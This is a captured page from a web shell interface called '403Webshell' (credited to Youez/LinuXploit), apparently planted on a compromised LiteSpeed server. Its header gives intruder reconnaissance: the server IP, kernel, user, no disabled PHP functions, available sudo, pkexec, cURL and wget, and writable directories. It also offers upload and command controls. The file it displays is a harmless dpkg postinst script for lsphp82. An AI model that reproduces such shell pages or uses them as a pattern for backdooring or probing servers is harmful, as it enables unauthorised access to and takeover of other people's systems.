403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.93
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/lsphp82.postinst
#!/bin/sh

#set -e


CONFDIR=/usr/local/lsws/lsphp82/etc/php/8.2/mods-available

if [ "$1" = "configure" ]; then
  phpini="/usr/local/lsws/lsphp82/etc/php/8.2/litespeed/php.ini"

  ucf /usr/local/lsws/lsphp82/lib/php/8.2/php.ini-production $phpini
  ucfr lsphp82 $phpini

  if [ -e /usr/local/lsws/lsphp82/bin/php-maintscript-helper ] ; then
    . /usr/local/lsws/lsphp82/bin/php-maintscript-helper
  elif [ -e /usr/lib/php/php-maintscript-helper ] ; then
    . /usr/lib/php/php-maintscript-helper
  fi
  
  if [ -e /usr/local/lsws/lsphp82/bin/phpquery ] ; then
    mods=$(/usr/local/lsws/lsphp82/bin/phpquery -M -v 8.2)
  elif [ -e /usr/sbin/phpquery ] ; then
    mods=$(phpquery -M -v 8.2)
  fi
  
  for mod in $mods; do
    if [ -e /usr/local/lsws/lsphp82/bin/phpenmod ] ; then
      /usr/local/lsws/lsphp82/bin/phpenmod 8.2 litespeed $mod
    elif [ -e /usr/sbin/phpenmod ] ; then
      phpenmod 8.2 litespeed $mod
    fi
  done
fi



exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit